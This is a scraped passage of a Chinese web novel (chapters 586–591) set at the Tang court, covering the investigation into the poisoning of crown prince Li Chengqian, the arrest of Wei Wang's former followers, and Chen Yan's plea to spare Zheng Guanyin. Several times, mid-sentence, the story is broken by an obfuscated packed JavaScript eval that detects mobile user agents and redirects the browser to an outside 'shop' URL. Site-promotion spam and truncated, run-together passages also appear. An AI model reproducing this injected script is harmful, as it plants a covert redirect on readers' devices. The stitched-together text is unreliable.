当李承乾话音落下的那一刻,李泰忽然愣住了,心里积压的委屈和憋屈在这一刻如洪水破堤般喷涌而出。 “是是.皇兄!” 此刻的李泰语无伦次,泪水混杂着鼻涕沾在胡茬上,掩面痛哭,心里百感交集。 他不怕陈衍对自己的质问,不怕父皇等人对自己露出失望的眼神。 更不怕长孙皇后对他如此态度。 他唯一怕的,就是面对李承乾。 因为不管怎么说,对方都险些因为自己身死。 这是事实。 而现在,他却从对方口中听到了这么一句话。 “我走了我走了,等我!” 说完这句话,李泰再也待不住了,头也不回地离开。 长孙皇后想要安静,陈衍等人也全部离开了。 走出立政殿,陈衍叹道:“哎,怎么就发生这么档子事儿呢?” “你感慨什么?” 李承乾一身轻松,无所谓道:“反正当初吃苦的是我,我都还没说什么呢。” 陈衍无语道:“你心真是够大的,亏你现在还能笑得出来。” “算了,你自己心里有数就好,魏王连从前在东宫安插过人手都说了出来,这件事到底怎么样,等等结果吧。” “反正今后该头疼的是你们。” 李世民没好气道:“你说的什么屁话?” “先前不还说一个女婿半个儿吗?你娶朕两个女儿,那不就是一个儿?” “合着你就不管了?” “我咋管啊?”陈衍无奈道:“我现在一样头疼呢,你们该想想办法吧,皇后殿下身体本来好好的,正在慢慢恢复,如今来了这么一遭急火攻心。” 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“.子安兄啊,我我心里苦啊!” 李泰那叫一个委屈,听到这话,不知为何,就开始了鬼哭狼嚎,“你说这叫个什么事儿啊?” “我特么都成为大怨种了,人在家中坐,锅从天上来,我上哪说理去?” 陈衍闻言惊讶道:“怎么的?你查出来什么东西了?你从前底下那批人招了?” “没有.” 李泰弱弱地回了一句。 这种事,傻子都知道不能说。 他时隔多久,重新把这些人全部**了起来,除了没上刑,什么办法都用了。 不过这些人全部咬死自己没干过这事儿,根本不知道。 “那你说个屁呢。” 陈衍翻了个白眼,“你冤个毛线,要我说,世家才冤呢,以前我们都以为是他们干的。” “行啦,我觉得你也不咋靠谱,让李道宗和李君羡去查吧,你要真是冤枉的,肯定能还你一个清白。” “若你问心无愧,该吃吃,该喝喝就好。” 李泰琢磨了一下,忽然觉得陈衍对自己的态度好像又恢复了以前,试探性地问道:“子安兄你相信我?” “我相信你。”陈衍微微颔首,“因为你是个聪明人,我后来想了想,以你对我的了解,应该知晓,但凡我还活着一天,你绝对没那个机会登上皇位。” “给李承乾下毒,还不如给 我本人下毒呢。” “起码我们整天在一起吃喝你整点**给我太容易了我自己都救不了我自己!” “啧!” 高阳不乐意了皱着眉筷子往桌上一拍“你说的什么屁话呢?” “老娘借他一百个胆子!你看他敢不?” 李泰:“.” 陈衍:“.” “夫君这种话可不能乱说”李丽质小声提醒道:“阿耶还年轻太子也还年轻你说你还活着四皇兄绝无可能登上皇位这话不合适。” “有什么不合适的?”陈衍淡淡道:“实际上当初在长孙皇后的默许下我跟太子已经绑**我们之间有着太多利益捆绑。” “说句难听的我绝对不会看着其他人坐上那个位置哪怕是青雀。” “不谈我已经坐上了户部尚书的位置话语权不小单说我还是个小县令时在你们阿耶阿娘心中的地位都不小我的意见他们都考虑。” “想想当初陛下为何突然之间开始清除青雀的势力开始大力培养太子的吧。” 说着他顿了顿“当然了这些话咱们自家人在家里说说便好别传出去。” 话音落下 小兕子茫然地抬起小脑袋郁闷道:“我是爱说但我不傻这种事不会告诉别人的。” “最好是这样!”李丽质轻哼对这个妹妹是愈发头疼了。 陈衍的话说得很不客气若旁人听了去绝对会认为他在说大话。 但在场的人谁不清楚陈衍的底细以及他们在那两位心目中的地位? 几人细细想了想发现陈衍好像还真没吹牛。 当初跟高阳成婚之前陈衍不就趁着李承乾喝醉暗搓搓地点醒李世民吗? 当时的他才进入李世民眼中就敢这么干。 更别说现在了。 李泰止不住地点头“是极是极子安兄言之有理子安兄乃是太子最大、也最坚定的支持者还 是太子的军师。 “对太子下毒太凶险了,如果是我的话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17130174|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我还不如选择毒害子安兄,这样一来立刻便能斩去太子的臂膀,今后可以慢慢与他争夺。 “何必铤而走险去毒害太子呢? “砰! 高阳脸都黑了,用力拍着桌子,“李泰,你明天是不是又想光着身子出去了? “你还真想毒害我夫君啊!? 李泰一噎,讪讪道:“比喻,比喻,我只是比喻而已,绝对没有毒害子安兄的意思。 陈衍头疼,挥挥手,“算了算了,先这样吧,你明天该干什么就干什么,我觉得你不下点狠手段,那些人也是不会承认的。 “不如继续去钻研你的神威大炮,争取赶紧做出来,戴罪立功吧。 “而且这件事属于丑闻,绝对不能泄露出去,你以前那些部下别说参与其中的,哪怕仅仅只是知道消息的,大概率也活不下去。 李泰听完顿了顿,眼里闪过狠厉,“你说得有道理,既然如此,就不劳烦李道宗和李君羡了,我明天亲自去请刘大人,我倒要看看这些人的嘴有多硬! 陈衍不置可否,“我认为你怕是没那个机会了,陛下不会给你那么多时间的,因为随着郑观音调查出来,此事会不会传出去还不好说。 “给你一两天时间差不多就是陛下的心里底线了,你没拿到什么成果,我估摸着今天晚上这些人已经被请去喝茶了. 李泰一怔,想了想,认为陈衍说得对。 自己的手段太软,父皇定然不会继续看着自己这样下去,搞不好还会认为自己在拖延时间。 然而,高阳却突然想起来一件事。 “夫君,你说郑观音会怎么样?父皇会放过她吗? 此言一出,众人皆沉默了。 郑观音因为从前那事,李世民已经有对她下狠手的意思。 如今郑观音还查到了李泰的部下毒杀太子。 论他们上一辈之间复杂的关系,李世民怎么想的,谁也不知道啊。 陈衍眼角抽搐,道:“我明天进宫一趟,找陛下私底下聊聊。 “. 第586章 束手无策杜如晦 当天晚上,如陈衍所料,李世民已经让人下手了。 只是,让陈衍没想到的是,此事还涉及杜如晦。 晚上的时候,杜构急匆匆地找到了悠然品茶的杜如晦,“父亲,不好了,小叔被人带走了,连同小叔母与堂弟他们全都被带走了。” 杜如晦手一抖,茶盏险些没端稳。 他立即直起身子,严肃道:“知道是谁带走的吗?刑部?大理寺?” 在长安,敢明目张胆地抓人,抓的还是他杜如晦的亲弟弟,弟媳,除了这区区几个部门,没有其他人了。 杜构默然道:“好像都不是,听下面的人传回来的消息,为首的人是李君羡和李道宗.” 一听这两个名字,杜如晦彻底坐不住了。 李君羡是谁,自然无需多言。 李世民身边的禁军统领,只听李世民一人的命令。 还有个李道宗这些日子以来,他多多少少察觉了一点东西,李世民好像组建了一个秘密部门,不知道是干什么用的。 这两个人一同出动,必定是李世民亲自下令无疑了。 杜如晦神色沉了下来,左思右想,依然搞不懂,李世民怎么突然抓他弟弟干什么? 自从魏王无心争夺皇位,作为魏王坚定支持者的弟弟杜楚客,已经渐渐退出了权力漩涡。 整日不是逗鸟就是耍蛐蛐,好端端的干嘛抓他? 而且连妻儿都没放过? “你仔细跟为父说说,你小叔这段时间身上发生了什么特别的事吗?除了你小叔之外,还有其他人被抓吗?” 杜构仔细想了想,摇摇头,“我不知道,小叔最近跟从前一样,没什么特别的情况。至于还有没有抓其他人,我也不知道。” “李君羡他们好像不想闹出太大乱子,做得很隐蔽,而且很迅速,如果不是因为抓的小叔,我们能不能收到消息还两说。” 杜如晦眸光沉了下来,心里的不妙愈发强烈。 思忖良久,他叹气道:“李君羡李道宗.如果是大理寺,或者刑部,为父还 能去打探打探消息但这两人出来咱们只能静观其变了。” “别急急也没用了。” 杜构哪里能不急那可是自己亲小叔啊:“父亲那咱们就什么都不做了吗?” “连小叔母和堂弟他们都被带走了.起码起码我们得想想办法啊。” “冷静冷静!”杜如晦呵斥道:“看看你像什么样子?遇到点事就慌成这样如何能成大事?” “此事估计是陛下的意思我们能有什么办法?唯一能做的只有静观其变。” “现在的我们连你小叔是因为什么被带走都不知道就算想替他求情都不知道怎么求。” “说不定去了还会害了他引得陛下不喜。” “毕竟你方才都说了连你小叔母和堂弟都被带走了你认为此事能小?” “可可是”杜构无言以对迟疑了良久长叹道:“小叔到底怎么了?” “这也是我现在想搞明白的问题。” 杜如晦沉吟道:“这样你派人去查查不要往你小叔犯了什么错身上查往李君羡他们除了抓你小叔还抓了哪些人这个方向查你明白为父的意思吗?” “再一个.我明日去找找子安看看他怎么说。” “.” 这一夜长安城宵禁之后 一些尚未入睡的百姓偶尔听见街上有急促的脚步声经过又迅速消失在深巷之中。 许多百姓觉得奇怪但转瞬便不在意了。 科举刚结束现在的长安城并不平静这算不了什么。 而在一座看起来平平无奇的院落里地下室却充斥着令人头皮发麻的惨叫与各种凄厉的尖嚎。 直至后半夜才渐渐停息下来。 翌日。 常朝一如既往只是杜如晦显得话少了些许。 在朝会结束之后众多官员都离开了只有陈衍和杜如晦直奔甘露殿。 陈衍意外道:“蔡国公你也去找陛下?” 杜如晦眼里闪过一丝异色,凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李世民不会允许这种事被外人知晓的。 说直白点,昨天晚上被带走,基本上就活不了。 杜如晦深深看了他一眼,“不要勉强,陷自己于危险的境地,能救最好,如果事不可为,那便算了。” “蔡国公放心,我心里有数。” “.” 第587章 陈衍:你封李渊为太上皇 甘露殿内,此时略微显得安静。 实际上,以往甘露殿没有大臣到场的话,同样显得安静,只是以往好歹有些翻阅文书、或者批阅书写的细微声。 今日却什么都没有。 殿内的宫女和宦官一个个埋着头,大气不敢喘一声。 只因为坐在上面那位帝王自下朝回来之后,便坐在那里闭着眼,一言不发。 任谁都看得出来此时的李世民心情很不好,似乎在纠结,迟疑什么。 这时,无舌轻轻放慢脚步,来到李世民耳边,轻声说了两句。 李世民似乎是有些疲惫,睁开眼,随意地挥挥手,“让他进来吧。” “是,陛下。” 不消片刻,陈衍从殿外先探出一个脑袋,“陛下,我进来了哟。” 见此情景,李世民不知想起了什么,眼角抽动。 无论怎么看,他都觉得是陈衍带坏了自己的小兕子。 搞得自己从前听话懂事,直叫人心疼的女儿现在衍里衍气的。 “你要进就进,不进就滚,那特么那么多废话?” 陈衍讪讪点点头,“我进,我进嘞。” 他小跑着进来,径直来到李世民身边,悄咪咪地从怀里摸出了一个酒瓶,“陛下,我今日特地带来了家中酿的好酒。” “是我当初首批酿出来的,埋了两年了,味道嘎嘎好,你尝尝?” 李世民正准备点头,忽然惊醒,立即变得警惕起来。 陈衍这小子什么时候这么殷勤了? 不对劲! 十分有一百分不对劲! “怎么?你要给朕下毒?” 陈衍:“.” 他想过很多可能,唯独没想过李世民突然爆出这么一句话。 “.你喝不喝吧?” 李世民斜睨,“你别管朕喝不喝,你先说你今天来是打算放好屁还是臭屁,说完了,朕再决定喝不喝。” “瞧您这话说的,我什么时候放过 臭屁啊。”陈衍尴尬地对一旁的一名宦官说:“这位公公,劳烦拿两个酒杯过来。” 那名宦官有些犹豫,因为李世民方才那句话吓到他们了,万一陈衍真对李世民下毒呢? 这个酒杯他们也不敢拿了。 拿不定主意,他只好对无舌投去了一个求助的目光。 无舌觉得好笑,如果陈衍想对李世民下毒,哪里用得着这么笨的办法? 而且还引人怀疑。 无舌小声道:“陛下,需要奴婢拿两个酒杯过来吗?” “去去去,去吧。” 李世民也是无语,陈衍这小子还真是不客气。 他顿了顿,直言道:“行啦,你小子也别在这叭叭的,你就说你今天来干什么了?” “咳咳,其实也没什么大事.” 陈衍干咳,试探性地问,“昨日,陛下应该下手查了吧?我就是想知道,这件事到底跟魏王有没有关系毕竟他跟我关系不错,还住在我家里。” 说完,他补充一句,“今后还得靠魏王来制作神威大炮呢。” 李世民淡淡瞥了他一眼,“你说最后这一句话什么意思?怎么?担心朕查出来此事确实跟魏王有关,所以怕朕杀了魏王?” “有点!” 陈衍很老实地点头。 李世民:??? 他眼睛一瞪,“朕彼其娘的,在你心里,朕就是这样的人吗?虎毒尚且不食子,你担心朕杀自己的儿子?” “.不好说啊太上皇总跟我念叨,说他当初封你为天策上将,你总说他小气,结果你封了他为太上皇。” 李世民:“.” 说更新,记住域名caixs?(请来才小 说 看最新章节 完整章节) “呵呵.哈哈哈哈哈!” 笑了! 他笑了! 纯被气的。 “滚!” “你给朕滚!” “现在就麻溜地给朕滚犊子!” 李世民指着殿门怒吼,被整破防了。 什么叫叫他觉得李渊小气 封李渊为太上皇? 李渊什么时候说过这种话他怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17130176|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道? 吾之艹也! 他总觉得这是陈衍自己编撰出来的毕竟愈发衍里衍气的小兕子经常这样干。 如果说不是从陈衍身上学的打死他都不相信。 “陛下消消气消消气。”陈衍赶紧凑了上去拍着他的背替他顺气“瞧瞧这才是咱们的陛下嘛不管是生气也好高兴也罢有点情绪在脸上这才像您嘛。” “别苦着一张脸我跟您说我跟世家都谈好了那万万贯存了三年定期三年内我们可以随时调用了我们不缺钱啦可以大力发展大唐了。” “还有科举结果马上要出来今年咱们还能平定外敌震慑内部足以大刀阔斧地进行改革。” “您高兴点哈~” 李世民:“.” 别说陈衍一番话还真有点用。 说完之后李世民的脸色缓和了许多。 确实坏消息有但好消息显然更多一点。 他狠狠瞪了陈衍一眼。 所以这就是你故意气朕的原因吗? 挨千刀的朕早晚有一天再让你回大理寺住几天! “放放放放完滚!” 他不耐烦地挥挥手。 陈衍迟疑了一下 “陛下方才我来的时候遇到了蔡国公他胞弟全家都被带走啦我想问问能不能给人家留个后?” “里面不是有孩子嘛.孩子什么都不懂啊。” 李世民顿了顿表情重新恢复了平静沉吟道:“这是你的意思还是克明让你来的?” “都算吧。”陈衍坦然道:“长安的朝堂嘛圈子就那么大不都是人情往来吗?” “蔡国公自己想救我让他回去了我就看看能不能搭把手。” “你倒是实诚!”李世民伸手点了点陈衍以他的气量自然不会跟陈衍计较这点事。 “放心吧朕让李君羡抓人前特地吩咐过一句大致情况已经了解了审问的手段也没透露出什么杜楚客以及他的家人被关两天就放出去了。” “至于其他人呵呵!” “你自己看看吧。” 说着李世民把案几上一份密报拿起来朝着陈衍丢了过去。 “.” 第588章 李世民:今后她归你管 陈衍自然不会跟李世民客气什么,自顾自地拿过看了起来。 实际上,这份密报就是审问出来的结果,密密麻麻写满了好几张纸。 总结起来就一句话,对太子下毒,确实有他们所为,但宫里有人暗中帮忙,魏王确实不知情。 看到最后的结果,陈衍心里一块大石头终于落地了。 跟魏王没什么关系就好,只要**,此事尚且有回旋的余地。 说开之后,大家还能回到从前。 不然的话很难收场,魏王死估计是死不了,但从今往后想待在长安绝对是不可能的了。 从私人情感上,陈衍希望此事魏王不知情,只是魏王从前的旧部自发行为。 从大局上,陈衍就更希望此事跟魏王没关系了。 因为魏王是他目前见过在科学方面最有天赋的人,自己随口几句话,就真的造出来了热气球。 到后面重要的**都不用说了,包括制造绢帛的各种机器,都是魏王抽空做出来的。 一个活着留在长安的魏王,显然能对天下,对后世产生更多的影响。 这辈子,陈衍不奢求魏王能搓出蒸汽机,但只要留下相应的概率给后世,做出大炮、火铳,开下一个头。 那么李泰的贡献就已经超越历史中不知多少人了。 “审问结果说,他们打算对太子下毒的时候,宫里有人暗中配合,你觉得会是谁?”李世民随口抛出了一个问题。 顺手拿走了陈衍带过来的酒,自顾自地给自己倒了杯酒,细细品尝。 “陛下,这个我真不知道,您问我,不如继续加大力度审问一下那些人。” 陈衍笑笑,可不敢答这话,因为这很可能涉及到后宫那些手腕通天的贵妇人,属于李世民自己家里的事。 李世民微微颔首,转而道:“好了,别废话了,说出你今天最主要的目的。” “嗯不知陛下,对郑观音是什么看法?”陈衍犹豫了一下,最终还是问出了这个问题。 “你想保她?” 李世民似笑非笑地说:“这位可是了不得啊,朕都没想到,她竟然还有那么多残余的力量。 “在渭南县闹出了那么大的风波,更致使克明入狱,如今,朕派人查了那么久的事,都没什么结果,她竟然得到了眉目。 “而你想保她? 说更新,记住域名caixs‰(请来才小 说 看最新章节 完整章节) 陈衍本想解释两句,说说杀郑观音后果之类的,但仔细回想了一遍李世民的话,他顿了顿,重重点头: “是的,我要保她,这是我对她的承诺! “她帮我查案,我保她,以及她家中的孩子一命,这很公平! “其实我早就跟您说了,在不良人没有完全渗透之前,您的力量纵使大,但有些时候,敌人反而更能比这些力量有用。 “隐太子残余的势力不小,这我知道,但陛下您不是一直在着手打散,清理吗? “这些人其实构不成威胁,跟我也没什么关系,我只是单纯想保郑观音一命罢了! 说到此处,他笑了出来,“其实我有更好的办法来说服您,可咱们都不是爱说大道理的人,索性我就直言了。 “留着郑观音,比杀了她更有用! 李世民不置可否,手指轻轻敲击着手中的酒杯,没有说话,似乎在思考。 良久,他深深看了陈衍一眼,“呵呵,你陈尚书都铁了心要保她,朕又能如何呢? “不杀就不杀吧,不过这个人今后归你管了,她要敢继续跳,朕通通算你头上! 陈衍暗自腹诽。 见鬼的不杀就不杀。 我看你从一开始就没杀郑观音的心思,最后一句话才是你的目的吧? 思忖片刻,他点点头答应下来。 虱子多了不怕痒,反正都这样了,他身上背负的东西不少,不差这一件。 “还有青雀! 李世民眼神平静道:“你不是已经管上承乾了吗?既然如此,青雀也交给你了! 陈衍:“. 好吧,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17130177|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个他得应下来。 毕竟从热气球开始这货就是自己在管。 所以当初得知针对李承乾的下毒案跟魏王的势力有关时他才那么生气 “.陛下我好像是给您带孩子的总不能以后再给我来个晋王吧?” 他用开玩笑的语气说了一句却发现李世民一言不发幽幽地盯着他。 陈衍:??? “不是陛下!”他站起来“我家里人够多了真不行了。” “晋王您跟长孙皇后留在身边吧身边没个儿子陪着怎么能行?此事绝对不行!” 他很坚定地拒绝了。 李世民见状熄了心思。 “行行行滚滚滚不答应就不答应朕还不想把晋王给你带呢。” 今天来的目的已经达成陈衍满意了。 走就走。 “那臣告退了哈~您慢慢喝。” 陈衍说着规规矩矩地一礼随即退了出去。 李世民望着他离开的方向没有说话。 此时甘露殿后面长孙皇后突然走了出来微微叹息道:“其实子安真的很会带孩子如果能把稚奴送过去倒也不失一桩好事。” 李世民摇摇头“子安家里的人确实已经够多了加上现在忙教导孩子的时间并不多基本都是丽质她们带着。” “那几个小家伙啊在子安家里已经够让他们头疼了 “子安有一句话说得挺对的咱们起码得有个儿子陪在身边吧。” 长孙皇后微微颔首看向李世民的眼神颇为好笑。 李世民总埋怨小兕子衍里衍气说陈衍把他女儿都带坏了。 实则衍里衍气真的没什么不好的他们的子女但凡能学到陈衍一半今后不管是怎么样他们都不用为此忧愁了。 小时候开开心心快快乐乐的童年本应该是这样啊! 李世民抿了口酒忽然觉得这好酒也不是那么好喝了“观音婢后宫的事朕就不插手了!” “只不过敢谋害承乾不管是谁都得付出代价!” 长孙皇后脸沉了下来“臣妾明白。” “.” 第589章 太子妃的疑惑 “子安,怎么样?” 承天门,杜如晦一直在外等着陈衍,见他出来,便急忙上前询问。 其他杜家人他可以不在意,但杜楚客毕竟是自己的胞弟,说不在意是假话。 陈衍笑道:“蔡国公放心,情况比想象中好很多,陛下念及你的存在,故此杜楚客,以及他的家人都没什么事,过几天应该就放出来了。” “我估摸着,杜楚客跟其家人应该连苦头都没怎么吃,审问的大多是其他人,你可以放心了。” 听到这句话,杜如晦一直悬着的心总算放了下来,紧绷的神情也放松了下来。 随即拱手道:“这次又麻烦你了,客套话我就不说了,走,上我家,咱宰牛吃。” 陈衍:“.” 又宰牛! 你家才几头牛啊,等全部宰完了,是不是就该宰陛下赏赐给你的马了? “别闹了。”陈衍也不跟杜如晦客套什么,“蔡国公,咱们之间还说那么多作甚?” “不过我必须得告诉你,这件事真的非同小可,你胞弟这次没事,是因为陛下念及你的存在” “哎,他其实也算无辜中箭,今后安心在家吧,或者回老家吧,最好别待在长安了。” 见陈衍仍然不愿给自己透露丁点消息,杜如晦严肃了起来,“放心,等楚客回来,我即刻安排他们离开长安,既然能无辜中箭一次,说不定还会有下一次。” “还是离开吧,现在的他确实不适合待在长安了。” 陈衍啧了声,想起了李泰那个小胖子。 杜楚客其实还好,要说最冤的,毫无疑问是李泰了。 这家伙,真是倒霉催的,躺着也中枪。 属实是没谁了。 “好了,蔡国公,就此分别吧,我还有事需要去一趟东宫,就不随你一同回去了。” “行,你忙你的。” 紧接着,陈衍又不急不缓地朝着东宫走去。 去干嘛? 那当然是告诉李承乾这个消息了。 尽管李世民什么都没说,但陈衍大概猜到了一点,关于李泰和李承乾,还需要自己从中调和,解释清楚。 否则的话,在甘露殿的时候,除了见到李世民,应该还会有李承乾。 不多时,陈衍来到东宫,在宫女的带领下前去找李承乾。 只是在踏入殿前的时候,遇到了恰好来给李承乾送膳食的太子妃。 “渭国公。 见到他,太子妃苏氏露出了笑容,“您是来找太子殿下的吗? “对了,正好你也在,我有事跟你们说,一起进去吧。陈衍随口说了一句,跟太子妃一同进去了。 只有留在原地的宫女表情有些奇怪。 按理来说,太子妃的身份不应该更尊贵吗? 为何看起来对陈衍如此尊敬,连称呼都带上了敬称? “. 此时,李承乾还在忙碌。 李世民对他愈发看重了,很多公务都会先交给他处理,最后再由自己过目。 所以他一下朝回来,便开始处理文书奏折。 听到脚步声,李承乾抬起头,立马眉开眼笑。 “我说是谁呢?原来是子安兄啊。 “自己找地方坐吧,反正你也不会跟我客气。 以两人的关系,自然无需多言,陈衍自顾自地找位置随意坐下。 李承乾笑道:“子安兄,我最近总觉得奇怪,你拿到了那么多钱财,为何反倒变得更安静了起来? “还有最近的朝堂之上,我都觉得意外,竟然没人跟你要钱了。 “要钱?陈衍哼哼道:“那也得户部有才行啊,钱庄的钱又不是户部的钱,而是你们皇家的钱! “别忘了,你这个太子才是钱庄最大的背景,钱庄还挂着你的名头呢。 说的域名caixs.com?(请来才小 说 看最新章节 完整章节) 闻言,李承乾额头浮现几条黑线,“别人不了解,你难道还不了解吗? “你做的那些买卖,看似分成了好几份,你占了二成,我多一点点,剩下的都被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17130178|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父皇拿 去了。” “可实际上我的那份都进了父皇的口袋我感觉我这个太子的名头就是随便借给你们用的。” “钱庄是挂在我名下但好像跟我一点关系都没有啊 “你说我上哪说理去。” 陈衍乐了“你别这么想嘛反正这些东西都是你们皇家的作为太子这些东西今后都是你的何必在意现在这点得失呢?” “反正你要那么多钱也没用。” “如果实在缺钱你也可以去钱庄借嘛我户部都借过呢。” 李承乾:“.” 太子妃端着两盘小点心各自放在了陈衍和李承乾面前听到他们的谈话实在忍不住心里的好奇。 “夫君渭国公其实妾身有一件事真的很不明白。” “为何世家能拿出那么多钱财呢?而且还只是现钱不包括田地、粮食、古董、绢帛等物品。” “哪怕妾身是名深宫妇人但也多多少少听说了从前你们这等身份的人都在为几十万贯在朝堂之上吵得不可开交。” “反观世家买几尊琉璃就差不多花了上百万贯存钱更是存了万万贯.” 她话音止住了似乎不知道该怎么说。 而李承乾和陈衍听到她的疑问之后都笑了。 “太子妃似乎很不理解?”陈衍淡笑着问了一句。 苏氏很老实地点点头“确实不理解记得从前夫君还在为几百贯头疼那时的魏王虽然有钱但实际上没有钱到哪里去能拿出几万、最多十万贯就顶了天了。” “前任户部尚书戴胄因为五十万贯心疼得不行跟工部尚书吵得不可开交祖宗十八代都互相问候了一遍。” “妾身实在很难理解。” “哎!”李承乾感慨道:“不理解就对了你对他们不了解故此有这种疑惑。” “如果你真正了解世家了解他们那么多年积攒下来的底蕴就会发现人家合在一起拿出万万贯并不是一件很令人惊讶的事。” “这就是世家的可怕同样是父皇想尽办法想要拔除他们的原因啊。” “.” 第590章 巨大的惊喜 经过李承乾的解释,太子妃苏氏其实依然不能理解。 毕竟这听起来太吓人了,前所未见,闻所未闻。 如果世家随随便便能拿出这么多钱,那么身为太子、户部尚书的陈衍,每天因为几万、顶多几十万贯跟诸多高官吵得不可开交算什么? 李承乾也没指望太子妃能理解,因为没真正了解过五姓七望的人,永远无法想象他们的底蕴。 “子安兄啊,你说现在,大家是不是都在等科举的结果?” 过了一会儿,李承乾问出了这样一个问题。 陈衍点点头,“这是必然的,今年的科举,影响比所有人想象中都要大。” “现在的风平浪静,都是在为最后一刻蓄势。” “当然,也有可能结果一出来,该是怎么样,依然是怎么样。” “很难说得清楚。” 话至此处,他顿了顿,“算了,不说这个了。” “我今日前来,是来告诉你一件事的。” 李承乾一怔,似乎意识到了什么,没说话了。 陈衍盯着他道:“昨日,陛下等不及了,把魏王所有旧部全部抓了起来,连杜如晦的胞弟杜楚客都没放过。” “审问结果已经出来了,关于毒害你的这件事” 听到这里,李承乾和太子妃不由紧张了起来,后者更是握紧了拳头。 生怕得到的答案不是自己想要的。 如果是那样的话,今后对大家都不好,很难再继续相处下去,更不知道会产生什么后果。 “魏王李泰此前确实不知情。” 陈衍最后一句话落下,李承乾和太子妃同时松了口气。 李承乾沉默半晌,长叹道:“这其实算好事,起码我心里真的不怨青雀了,发生这样的事,大家都不愿意看到。” “父皇不会放过那些人的,青雀既然不知情,此事就随风飘散吧。” “继续深究已经没意义了。” “你倒是看得挺开。”陈衍诧异道。 “不看得开又能怎么样?李承乾低声道:“先不说此事青雀确实不知情,哪怕他知道,甚至就是他安排的,在我无事的情况下,我真的能对他下狠手吗? “子安兄,我没有父皇那么大魄力,更没有被逼到那种境地,我也不想割舍情感。 “说句没出息的话,我未来若是登上皇位,能做好一个守成之君真的很满足了。 “我体会过亲情的美好,懂得友情的珍贵,所以我想,即便此事跟青雀有关,我大概不会对他怎么样,估计只是请求父皇让他远离长安吧。 “现在听你说跟他无关,我心里真挺高兴的,真的。 陈衍啧了声,站起来,来到李承乾面前,扶着他的肩膀,认真道:“别怕,承乾兄,有我在的! “我会帮你的!真的! 听到这句无比熟悉的话,李承乾心里说不出的温暖。 唉~ 这句话从陈衍口中说出来,无论李承乾听多少次,都莫名感觉安心。 就好像小的时候,被长孙皇后抱在怀里一样,什么都不用怕。 因为他清楚,母亲会保护他的。 “.我知道,我一直都知道的! “. 回家的路上,陈衍此次没有乘坐马车,慢慢走着逛着,并不像以往那般匆忙。 很久,很久他都没有这么一个人走过了。 此时走一遍,穿越拥挤的人潮,陈衍的心都静了下来,脑子什么都不想。 一切烦心事都被抛在了脑后。 只不过,在路过一间茶庄的时候,忽然听到了一声熟悉的呼喊。 “陈先生,好久不见啊! 陈衍脚步一顿,即便没有转头,他都猜到是谁了。 在这个世界上,称呼自己为先生的,只有袁天罡和李淳风。 而且只有他们两个神出鬼没的道士,总能在各种地方等到自己。 陈衍转过身。 果不其然,李淳风和袁天罡 坐在茶庄前一张小桌子上,笑吟吟地望着他。 陈衍摇头失笑,“我说两位,你们为何每次都这样找我呢?就不能直接上门?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“说话跟要命一样,就跟我说有惊喜,又不告诉我是什么惊喜,这不纯吊我胃口吗?” “.” 第591章 陈衍:我给你们重新找个活儿 “陈先生您这属实是有些为难我们了。” 李淳风无语道:“这么久以来,您难道还不清楚您身上的特殊吗?我们能看出来一点,您最近有好事发生就不错了。” “不是我们本事不够,换作任何人来,顶多就能看出这么一点了。” “继续看下去,不死也得脱层皮。” “行行行,我不跟你俩扯犊子。”陈衍敷衍道:“我就说你们身上马上有惊喜要来了,你们接不接受?” 袁、李二人目光幽怨,袁天罡幽幽道:“渭国公大人都开口了,这惊喜,还轮得到我们拒绝吗?” 